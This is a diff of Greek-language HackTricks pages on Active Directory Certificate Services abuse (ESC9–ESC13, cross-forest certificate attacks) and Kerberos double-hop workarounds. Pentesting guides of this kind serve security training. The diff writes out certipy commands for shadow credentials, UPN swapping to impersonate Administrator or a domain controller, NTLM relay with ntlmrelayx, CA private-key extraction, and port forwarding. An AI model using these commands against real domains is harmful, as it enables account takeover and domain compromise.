Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -419,24 +419,24 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### Εξήγηση
Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, γνωστή ως ESC9, αποτρέπει την ενσωμάτωση της **νέας επέκτασης ασφάλειας `szOID_NTDS_CA_SECURITY_EXT`** σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σημαντική όταν το `StrongCertificateBindingEnforcement` είναι ρυθμισμένο σε `1` (η προεπιλεγμένη ρύθμιση), αντίθετα με τη ρύθμιση `2`. Η σημασία της αυξάνεται σε σενάρια όπου μια αδύναμη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel ενδέχεται να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα αλλάξει τις απαιτήσεις.
Η νέα τιμή **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) για το **`msPKI-Enrollment-Flag`**, αναφερόμενη ως ESC9, αποτρέπει την ενσωμάτωση της **νέας επέκτασης ασφάλειας `szOID_NTDS_CA_SECURITY_EXT`** σε ένα πιστοποιητικό. Αυτή η σημαία γίνεται σημαντική όταν το `StrongCertificateBindingEnforcement` έχει οριστεί σε `1` (η προεπιλεγμένη ρύθμιση), η οποία αντίθετα με τη ρύθμιση `2`. Η σημασία της αυξάνεται σε σενάρια όπου μια αδύναμη αντιστοίχιση πιστοποιητικού για Kerberos ή Schannel θα μπορούσε να εκμεταλλευτεί (όπως στο ESC10), δεδομένου ότι η απουσία του ESC9 δεν θα αλλάξει τις απαιτήσεις.
Οι περιπτώσεις όπου η ρύθμιση αυτής της σημαίας γίνεται σημαντική περιλαμβάνουν:
* Το `StrongCertificateBindingEnforcement` δεν έχει προσαρμοστεί σε `2` (με την προεπιλεγμένη τιμή να είναι `1`), ή το `CertificateMappingMethods` περιλαμβάνει τη σημαία `UPN`.
* Το πιστοποιητικό είναι επισημασμένο με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` εντός της ρύθμισης `msPKI-Enrollment-Flag`.
* Οποιαδήποτε πιστοποίηση πελάτη EKU καθορίζεται από το πιστοποιητικό.
* Οποιοδήποτε EKU πιστοποίησης πελάτη καθορίζεται από το πιστοποιητικό.
* Οι άδειες `GenericWrite` είναι διαθέσιμες για οποιονδήποτε λογαριασμό για να διακινδυνεύσει έναν άλλο.
### Σενάριο Κατάχρησης
Ας υποθέσουμε ότι ο `John@corp.local` έχει δικαιώματα `GenericWrite` πάνω στον `Jane@corp.local`, με στόχο να διακινδυνεύσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, στο οποίο η `Jane@corp.local` έχει άδεια να εγγραφεί, ρυθμίζεται με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση του `msPKI-Enrollment-Flag`.
Υποθέτουμε ότι ο `John@corp.local` έχει δικαιώματα `GenericWrite` πάνω στον λογαριασμό `Jane@corp.local`, με στόχο να διακινδυνεύσει τον `Administrator@corp.local`. Το πρότυπο πιστοποιητικού `ESC9`, το οποίο η `Jane@corp.local` έχει άδεια να εγγραφεί, έχει ρυθμιστεί με τη σημαία `CT_FLAG_NO_SECURITY_EXTENSION` στη ρύθμιση του `msPKI-Enrollment-Flag`.
Αρχικά, η κατακερματισμένη τιμή της `Jane` αποκτάται χρησιμοποιώντας τα Σκιώδη Διαπιστευτήρια, χάρη στο `GenericWrite` του `John`:
Αρχικά, η κρυπτογράφηση της `Jane` αποκτάται χρησιμοποιώντας τα Shadow Credentials, χάρη στο `GenericWrite` του `John`:
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, παραλείποντας εσκεμμένα το τμήμα του domain `@corp.local`:
Στη συνέχεια, το `userPrincipalName` της `Jane` τροποποιείται σε `Administrator`, παραλείποντας εσκεμμένα το τμήμα του τομέα `@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
@ -448,7 +448,7 @@ certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ES
```
Σημειώνεται ότι το `userPrincipalName` του πιστοποιητικού αντικατοπτρίζει το `Administrator`, χωρίς κανένα "object SID".
Στη συνέχεια, το `userPrincipalName` της `Jane` επαναφέρεται στον αρχικό του, `Jane@corp.local`:
Το `userPrincipalName` της `Jane` επαναφέρεται στον αρχικό του, `Jane@corp.local`:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
@ -462,7 +462,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
Δύο τιμές κλειδιών μητρώου στον ελεγκτή τομέα αναφέρονται από το ESC10:
* Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ορίστηκε σε `0x1F`.
* Η προεπιλεγμένη τιμή για το `CertificateMappingMethods` κάτω από `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` είναι `0x18` (`0x8 | 0x10`), προηγουμένως ρυθμισμένη σε `0x1F`.
* Η προεπιλεγμένη ρύθμιση για το `StrongCertificateBindingEnforcement` κάτω από `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` είναι `1`, προηγουμένως `0`.
**Περίπτωση 1**
@ -477,7 +477,7 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
Με το `StrongCertificateBindingEnforcement` ρυθμισμένο ως `0`, ένας λογαριασμός Α με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί για να διακινδυνεύσει οποιονδήποτε λογαριασμό Β.
Για παράδειγμα, με δικαιώματα `GenericWrite` πάνω στο `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να διακινδυνεύσει τον `Administrator@corp.local`. Η διαδικασία αντικατοπτρίζει το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού.
Για παράδειγμα, έχοντας δικαιώματα `GenericWrite` πάνω στο `Jane@corp.local`, ένας επιτιθέμενος στοχεύει να διακινδυνεύσει τον `Administrator@corp.local`. Η διαδικασία αντικατοπτρίζει το ESC9, επιτρέποντας τη χρήση οποιουδήποτε προτύπου πιστοποιητικού.
Αρχικά, η κρυπτογράφηση του `Jane` ανακτάται χρησιμοποιώντας τα Shadow Credentials, εκμεταλλευόμενη το `GenericWrite`.
```bash
@ -501,9 +501,9 @@ certipy auth -pfx administrator.pfx -domain corp.local
```
### Περίπτωση Κατάχρησης 2
Με το `CertificateMappingMethods` περιέχοντας το bit flag `UPN` (`0x4`), ένας λογαριασμός Α με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί οποιονδήποτε λογαριασμό Β που λείπει το χαρακτηριστικό `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή τομέα `Administrator`.
Με το `CertificateMappingMethods` περιέχοντας το bit flag `UPN` (`0x4`), ένας λογαριασμός Α με δικαιώματα `GenericWrite` μπορεί να εκμεταλλευτεί οποιονδήποτε λογαριασμό Β που λείπει το χαρακτηριστικό `userPrincipalName`, συμπεριλαμβανομένων των λογαριασμών μηχανών και του ενσωματωμένου διαχειριστή του τομέα `Administrator`.
Εδώ, ο στόχος είναι να διαρρεύσουμε το `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω των Shadow Credentials, εκμεταλλευόμενοι το `GenericWrite`.
Εδώ, ο στόχος είναι να διαρρεύσει ο λογαριασμός `DC$@corp.local`, ξεκινώντας με την απόκτηση του hash της `Jane` μέσω των Shadow Credentials, εκμεταλλευόμενος το `GenericWrite`.
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
@ -511,7 +511,7 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
Ένα πιστοποιητικό για την πιστοποίηση του πελάτη ζητείται ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `User`.
Ένα πιστοποιητικό για την πιστοποίηση του πελάτη ζητείται ως `Jane` χρησιμοποιώντας το προεπιλεγμένο πρότυπο `Χρήστη`.
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -523,11 +523,11 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Μέσω του LDAP κέλυφους, εντολές όπως `set_rbcd` ενεργοποιούν επιθέσεις Resource-Based Constrained Delegation (RBCD), που μπορεί να θέσουν σε κίνδυνο τον ελεγκτή του τομέα.
Μέσω του LDAP κέλυφους, εντολές όπως το `set_rbcd` ενεργοποιούν επιθέσεις Resource-Based Constrained Delegation (RBCD), που μπορεί να θέσουν σε κίνδυνο τον ελεγκτή του τομέα.
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
Αυτή η ευπάθεια επεκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που δεν έχει ένα `userPrincipalName` ή όπου δεν ταιριάζει με το `sAMAccountName`, με το προεπιλεγμένο `Administrator@corp.local` να είναι ένας κύριος στόχος λόγω των υψηλών προνομίων LDAP και της απουσίας ενός `userPrincipalName` από προεπιλογή.
Αυτή η ευπάθεια επεκτείνεται επίσης σε οποιονδήποτε λογαριασμό χρήστη που λείπει το `userPrincipalName` ή όπου δεν ταιριάζει με το `sAMAccountName`, με το προεπιλεγμένο `Administrator@corp.local` να είναι ένας κύριος στόχος λόγω των υψηλών προνομίων LDAP και της απουσίας ενός `userPrincipalName` από προεπιλογή.
## Προώθηση NTLM στο ICPR - ESC11
@ -589,11 +589,11 @@ $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -s
Αυτό το κλειδί/κωδικός πρόσβασης αποθηκεύεται στο μητρώο υπό `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` σε καθαρό κείμενο.
Αναφορά [εδώ](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
Αναφορά στο [εδώ](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### Σενάριο Κατάχρησης
Εάν το ιδιωτικό κλειδί της CA αποθηκευμένο σε φυσική συσκευή USB όταν έχετε πρόσβαση στο κέλυφος, είναι δυνατή η ανάκτηση του κλειδιού.
Αν ο ιδιωτικός κλειδί της CA αποθηκεύεται σε μια φυσική συσκευή USB και έχετε πρόσβαση στο κέλυφος, είναι δυνατή η ανάκτηση του κλειδιού.
Αρχικά, πρέπει να αποκτήσετε το πιστοποιητικό της CA (αυτό είναι δημόσιο) και στη συνέχεια:
```cmd
@ -607,7 +607,7 @@ $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common
### Εξήγηση
Το χαρακτηριστικό `msPKI-Certificate-Policy` επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα `msPKI-Enterprise-Oid` που είναι υπεύθυνα για την έκδοση πολιτικών μπορούν να ανακαλυφθούν στον Πεδίο Ονομασίας Διαμόρφωσης (CN=OID,CN=Δημόσιες Υπηρεσίες Κλειδιών,CN=Υπηρεσίες) του δοχείου PKI OID. Μια πολιτική μπορεί να συνδεθεί με μια ομάδα AD χρησιμοποιώντας το χαρακτηριστικό `msDS-OIDToGroupLink` αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό ως μέλος της ομάδας. [Αναφορά εδώ](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Το χαρακτηριστικό `msPKI-Certificate-Policy` επιτρέπει την προσθήκη της πολιτικής έκδοσης στο πρότυπο πιστοποιητικού. Τα αντικείμενα `msPKI-Enterprise-Oid` που είναι υπεύθυνα για την έκδοση πολιτικών μπορούν να ανακαλυφθούν στον Πεδίο Ονομασίας Διαμόρφωσης (CN=OID,CN=Δημόσιες Υπηρεσίες Κλειδιών,CN=Υπηρεσίες) του δοχείου PKI OID. Μια πολιτική μπορεί να συνδεθεί με μια ομάδα AD χρησιμοποιώντας το χαρακτηριστικό `msDS-OIDToGroupLink` αυτού του αντικειμένου, επιτρέποντας σε ένα σύστημα να εξουσιοδοτήσει έναν χρήστη που παρουσιάζει το πιστοποιητικό ως να ήταν μέλος της ομάδας. [Αναφορά εδώ](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
Με άλλα λόγια, όταν ένας χρήστης έχει άδεια να εγγραφεί ένα πιστοποιητικό και το πιστοποιητικό συνδέεται με μια ομάδα OID, ο χρήστης μπορεί να κληρονομήσει τα προνόμια αυτής της ομάδας.
@ -643,15 +643,15 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## Εξήγηση της Παραβίασης των Δασών με Πιστοποιητικά σε Παθητική Φωνή
## Εξήγηση της Παραβίασης των Δασών με Πιστοποιητικά στην Παθητική Φωνή
### Θραύση των Trust των Δασών από Κατεστραμμένες CAs
Η διαμόρφωση για την **διασυνοριακή εγγραφή** γίνεται σχετικά απλή. Το **πιστοποιητικό της ρίζας της CA** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα πιστοποιητικά **enterprise CA** από το δάσος πόρων προστίθενται στα **`NTAuthCertificates` και AIA containers σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η διάταξη χορηγεί στη **CA στο δάσος πόρων πλήρη έλεγχο** πάνω σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Αν αυτή η CA **καταστραφεί από επιτιθέμενους**, τα πιστοποιητικά για όλους τους χρήστες τόσο στο δάσος πόρων όσο και στα δάση λογαριασμών μπορεί να **πλαστογραφηθούν από αυτούς**, συνεπώς θα παραβιαστεί ο ασφαλής όριο του δάσους.
Η διαμόρφωση για την **διασυνοριακή εγγραφή** γίνεται σχετικά απλή. Το **πιστοποιητικό της ρίζας CA** από το δάσος πόρων **δημοσιεύεται στα δάση λογαριασμών** από τους διαχειριστές, και τα **πιστοποιητικά της επιχείρησης CA** από το δάσος πόρων **προστίθενται στους κάδους `NTAuthCertificates` και AIA σε κάθε δάσος λογαριασμού**. Για να διευκρινιστεί, αυτή η διάταξη χορηγεί στο **CA στο δάσος πόρων πλήρη έλεγχο** πάνω σε όλα τα άλλα δάση για τα οποία διαχειρίζεται το PKI. Αν αυτό το CA **καταστραφεί από επιτιθέμενους**, τα πιστοποιητικά για όλους τους χρήστες τόσο στο δάσος πόρων όσο και στα δάση λογαριασμών μπορεί να **πλαστογραφηθούν από αυτούς**, καταρρίπτοντας έτσι το όριο ασφαλείας του δάσους.
### Προνομιούχες Εγγραφές που Χορηγούνται σε Ξένους Αρχηγούς
Σε περιβάλλοντα με πολλά δάση, απαιτείται προσοχή όσον αφορά τις Enterprise CAs που **δημοσιεύουν πρότυπα πιστοποιητικών** τα οποία επιτρέπουν σε **Εξουσιοδοτημένους Χρήστες ή ξένους αρχηγούς** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Enterprise CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Κατά την επαλήθευση απέναντι σε μια εμπιστοσύνη, το **SID των Εξουσιοδοτημένων Χρηστών** προστίθεται στο token του χρήστη από το AD. Έτσι, αν ένας τομέας διαθέτει μια Enterprise CA με ένα πρότυπο που **επιτρέπει στους Εξουσιοδοτημένους Χρήστες δικαιώματα εγγραφής**, ένα πρότυπο θα μπορούσε πιθανόν να **εγγραφεί από έναν χρήστη από διαφορετικό δάσος**. Επίσης, αν τα **δικαιώματα εγγραφής χορηγούνται ρητά σε ξένο αρχηγό από ένα πρότυπο**, δημιουργείται έτσι μια **διασυνοριακή σχέση ελέγχου πρόσβασης**, επιτρέποντας σε έναν αρχηγό από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Σε περιβάλλοντα με πολλά δάση, απαιτείται προσοχή όσον αφορά τις Επιχειρησιακές CAs που **δημοσιεύουν πρότυπα πιστοποιητικών** τα οποία επιτρέπουν σε **Εξουσιοδοτημένους Χρήστες ή ξένους αρχηγούς** (χρήστες/ομάδες εξωτερικοί στο δάσος στο οποίο ανήκει η Επιχειρησιακή CA) **δικαιώματα εγγραφής και επεξεργασίας**.\
Κατά την επαλήθευση απέναντι σε μια εμπιστοσύνη, το **SID των Εξουσιοδοτημένων Χρηστών** προστίθεται στο τεκμήριο του χρήστη από το AD. Έτσι, αν ένας τομέας διαθέτει μια Επιχειρησιακή CA με ένα πρότυπο που **επιτρέπει τα δικαιώματα εγγραφής στους Εξουσιοδοτημένους Χρήστες**, ένα πρότυπο θα μπορούσε πιθανόν να **εγγραφεί από έναν χρήστη από διαφορετικό δάσος**. Αντίστοιχα, αν τα **δικαιώματα εγγραφής χορηγούνται ρητά σε ξένο αρχηγό από ένα πρότυπο**, δημιουργείται έτσι μια **σχέση ελέγχου πρόσβασης διασυνοριακά**, επιτρέποντας σε έναν αρχηγό από ένα δάσος να **εγγραφεί σε ένα πρότυπο από ένα άλλο δάσος**.
Και οι δύο περιπτώσεις οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από ένα δάσος σε ένα άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα ξένο τομέα.
Και τα δύο σενάρια οδηγούν σε μια **αύξηση της επιφάνειας επίθεσης** από ένα δάσος σε ένα άλλο. Οι ρυθμίσεις του προτύπου πιστοποιητικού θα μπορούσαν να εκμεταλλευτούν από έναν επιτιθέμενο για να αποκτήσει επιπλέον προνόμια σε ένα ξένο τομέα.

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team Expert του HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Εργάζεστε σε μια **εταιρεία κυβερνοασφάλειας**; Θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks**; ή θέλετε να έχετε πρόσβαση στην **τελευταία έκδοση του PEASS ή να κατεβάσετε το HackTricks σε μορφή PDF**; Ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Ανακαλύψτε την [**Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Εγγραφείτε στη** [**💬**](https://emojipedia.org/speech-balloon/) [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στο** [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Εγγραφείτε** στην [**💬**](https://emojipedia.org/speech-balloon/) **ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην **ομάδα τηλεγραφήματος** ή **ακολουθήστε** με στο **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στο [**αποθετήριο hacktricks**](https://github.com/carlospolop/hacktricks) **και** [**αποθετήριο hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Εισαγωγή
Το πρόβλημα "Διπλού Άλματος" στο Kerberos εμφανίζεται όταν ένας επιτιθέμενος προσπαθεί να χρησιμοποιήσει **επαλήθευση Kerberos σε δύο** **άλματα**, για παράδειγμα χρησιμοποιώντας **PowerShell**/**WinRM**.
Το πρόβλημα "Διπλού Άλματος" στο Kerberos εμφανίζεται όταν ένας επιτιθέμενος προσπαθεί να χρησιμοποιήσει **ελέγχους Kerberos** σε δύο **άλματα**, για παράδειγμα χρησιμοποιώντας **PowerShell**/**WinRM**.
Όταν μια **επαλήθευση** συμβαίνει μέσω **Kerberos**, οι **διαπιστευτήρια** **δεν** αποθηκεύονται στη **μνήμη**. Επομένως, αν εκτελέσετε το mimikatz δεν θα βρείτε τα διαπιστευτήρια του χρήστη στον υπολογιστή ακόμα κι αν εκτελεί διεργασίες.
Όταν μια **επαλήθευση** γίνεται μέσω **Kerberos**, οι **διαπιστευτήρια** **δεν** αποθηκεύονται στη **μνήμη**. Επομένως, αν εκτελέσετε το mimikatz δεν θα βρείτε τα διαπιστευτήρια του χρήστη στον υπολογιστή ακόμα κι αν εκείνος εκτελεί διεργασίες.
Αυτό συμβαίνει επειδή κατά τη σύνδεση με το Kerberos αυτά είναι τα βήματα:
@ -31,16 +31,16 @@
### Απεριόριστη Ανακατεύθυνση
Αν η **απεριόριστη ανακατεύθυνση** είναι ενεργοποιημένη στον Η/Υ, αυτό δεν θα συμβεί καθώς ο **Διακομιστής** θα **λάβει** ένα **TGT** από κάθε χρήστη που έχει πρόσβαση σε αυτόν. Επιπλέον, αν χρησιμοποιείται η απεριόριστη ανακατεύθυνση, πιθανόν να μπορείτε να **θέσετε σε κίνδυνο τον ελεγκτή του τομέα** από αυτόν.\
[**Περισσότερες πληροφορίες στη σελίδα της απεριόριστης ανακατεύθυνσης**](unconstrained-delegation.md).
Αν η **απεριόριστη ανακατεύθυνση** είναι ενεργοποιημένη στον Η/Υ, αυτό δεν θα συμβεί καθώς ο **Διακομιστής** θα **λάβει** ένα **TGT** από κάθε χρήστη που έχει πρόσβαση σε αυτόν. Επιπλέον, αν χρησιμοποιείται η απεριόριστη ανακατεύθυνση, πιθανόν να μπορείτε να **θέσετε σε κίνδυνο τον ελεγκτή του τομέα**.\
[**Περισσότερες πληροφορίες στη σελίδα απεριόριστης ανακατεύθυνσης**](unconstrained-delegation.md).
### CredSSP
Ένας άλλος τρόπος να αποφευχθεί αυτό το πρόβλημα, ο οποίος είναι [**εξαιρετικά ανασφαλής**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) είναι ο **Πάροχος Υποστήριξης Ασφάλειας Διαπιστευτηρίων**. Από τη Microsoft:
Ένας άλλος τρόπος να αποφευχθεί αυτό το πρόβλημα, ο οποίος είναι [**σημαντικά ανασφαλής**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) είναι ο **Πάροχος Υποστήριξης Ασφάλειας Διαπιστευτήρων**. Από τη Microsoft:
> Η επαλήθευση CredSSP αναθέτει τα διαπιστευτήρια του χρήστη από τον τοπικό υπολογιστή σε έναν απομακρυσμένο υπολογιστή. Αυτή η πρακτική αυξάνει τον κίνδυνο ασφάλειας της απομακρυσμένης λειτουργίας. Αν ο απομακρυσμένος υπολογιστής διαρρεύσει, όταν τα διαπιστευτήρια περνούν σε αυτόν, τα διαπιστευτήρια μπορούν να χρησιμοποιηθούν για τον έλεγχο της δικτυακής συνεδρίας.
Συνιστάται ιδιαίτερα να απενεργοποιηθεί το **CredSSP** σε συστήματα παραγωγής, ευαίσθητα δίκτυα και παρόμοια περιβάλλοντα λόγω ανησυχιών για την ασφάλεια. Για να προσδιοριστεί εάν το **CredSSP** είναι ενεργοποιημένο, μπορεί να εκτελεστεί η εντολή `Get-WSManCredSSP`. Αυτή η εντολή επιτρέπει τον **έλεγχο της κατάστασης του CredSSP** και μπορεί ακόμα να εκτελεστεί απομακρυσμένα, εφόσον το **WinRM** είναι ενεργοποιημένο.
Συνιστάται ανεπιφύλακτα να απενεργοποιηθεί το **CredSSP** σε συστήματα παραγωγής, ευαίσθητα δίκτυα και παρόμοια περιβάλλοντα λόγω ανησυχιών για την ασφάλεια. Για να προσδιοριστεί εάν το **CredSSP** είναι ενεργοποιημένο, μπορεί να εκτελεστεί η εντολή `Get-WSManCredSSP`. Αυτή η εντολή επιτρέπει τον **έλεγχο της κατάστασης του CredSSP** και μπορεί ακόμη να εκτελεστεί απομακρυσμένα, εφόσον το **WinRM** είναι ενεργοποιημένο.
```powershell
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
@ -50,16 +50,18 @@ Get-WSManCredSSP
### Εκκίνηση Εντολής
Για να αντιμετωπιστεί το πρόβλημα του διπλού hop, παρουσιάζεται μια μέθοδος που περιλαμβάνει ένα εμφωλευμένο `Invoke-Command`. Αυτό δεν επιλύει το πρόβλημα απευθείας, αλλά προσφέρει μια παράκαμψη χωρίς την ανάγκη ειδικών ρυθμίσεων. Η προσέγγιση επιτρέπει την εκτέλεση μιας εντολής (`hostname`) σε ένα δευτερεύον διακομιστή μέσω μιας εντολής PowerShell που εκτελείται από μια αρχική μηχανή επίθεσης ή μέσω μιας προηγουμένως καθιερωμένης συνεδρίας PS με τον πρώτο διακομιστή. Εδώ είναι πώς γίνεται:
Για να αντιμετωπίσετε το πρόβλημα του διπλού hop, παρουσιάζεται μια μέθοδος που περιλαμβάνει ένα εμφωλευμένο `Invoke-Command`. Αυτό δεν λύνει το πρόβλημα απευθείας αλλά προσφέρει μια παράκαμψη χωρίς την ανάγκη ειδικών ρυθμίσεων. Η προσέγγιση επιτρέπει την εκτέλεση μιας εντολής (`hostname`) σε ένα δευτερεύον διακομιστή μέσω μιας εντολής PowerShell που εκτελείται από μια αρχική μηχανή επίθεσης ή μέσω μιας προηγουμένως καθιερωμένης συνεδρίας PS με τον πρώτο διακομιστή. Εδώ είναι πώς γίνεται:
```powershell
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
}
```
### Καταχώρηση Ρύθμισης Συνεδρίας PS
Εναλλακτικά, η δημιουργία μιας συνεδρίας PS με τον πρώτο διακομιστή και την εκτέλεση της `Invoke-Command` χρησιμοποιώντας το `$cred` προτείνεται για την κεντρική διαχείριση των εργασιών.
Μια λύση για την παράκαμψη του προβλήματος διπλής ανακατεύθυνσης περιλαμβάνει τη χρήση του `Register-PSSessionConfiguration` με το `Enter-PSSession`. Αυτή η μέθοδος απαιτεί μια διαφορετική προσέγγιση από το `evil-winrm` και επιτρέπει μια συνεδρία που δεν υποφέρει από τον περιορισμό της διπλής ανακατεύθυνσης.
### Καταχώρηση Ρύθμισης PSSession
Μια λύση για την παράκαμψη του προβλήματος του διπλού hop περιλαμβάνει τη χρήση του `Register-PSSessionConfiguration` με το `Enter-PSSession`. Αυτή η μέθοδος απαιτεί μια διαφορετική προσέγγιση από το `evil-winrm` και επιτρέπει μια συνεδρία που δεν υποφέρει από τον περιορισμό του διπλού hop.
```powershell
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
@ -68,7 +70,7 @@ klist
```
### Προώθηση Θύρας
Για τους τοπικούς διαχειριστές σε έναν ενδιάμεσο στόχο, η προώθηση θύρας επιτρέπει την αποστολή αιτημάτων σε έναν τελικό διακομιστή. Χρησιμοποιώντας το `netsh`, μπορεί να προστεθεί μια κανόνα για την προώθηση θύρας, συνοδευόμενη από έναν κανόνα του τοίχου προστασίας των Windows για να επιτραπεί η πρόσβαση στην προωθημένη θύρα.
Για τους τοπικούς διαχειριστές σε έναν ενδιάμεσο στόχο, η προώθηση θύρας επιτρέπει την αποστολή αιτημάτων σε έναν τελικό διακομιστή. Χρησιμοποιώντας το `netsh`, μπορεί να προστεθεί μια κανόνα για την προώθηση θύρας, σε συνδυασμό με έναν κανόνα του τοίχου προστασίας των Windows για να επιτραπεί η προώθηση της θύρας.
```bash
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
@ -81,15 +83,15 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
```
### OpenSSH
